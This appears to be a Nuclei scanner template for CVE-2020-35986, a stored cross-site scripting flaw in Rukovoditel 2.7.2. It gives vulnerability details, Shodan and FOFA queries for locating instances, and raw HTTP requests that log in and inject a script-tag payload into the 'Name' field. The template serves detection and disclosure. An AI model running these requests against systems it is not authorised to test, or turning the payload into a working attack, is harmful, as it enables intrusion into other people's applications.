id: CVE-2020-35986

info:
  name: Rukovoditel <= 2.7.2 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross site scripting (XSS) vulnerability in the 'Users Access Groups' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 2.7.2 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/r0ck3t1973/rukovoditel/issues/2
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35986
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-35986
    cwe-id: CWE-79
    epss-score: 0.03657
    epss-percentile: 0.88036
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:2.7.2:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2020,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=users_groups/users_groups&action=save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=test

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4a0a004730450221008ecf835a6cdda9f86491db86f277cd49819766183838084264e0289abeb1397102200f8fbc3fcfc03061c742b11c7910206086ba0036be83185a14bf40430c08961a:922c64590222798bb761d5b6d8e72950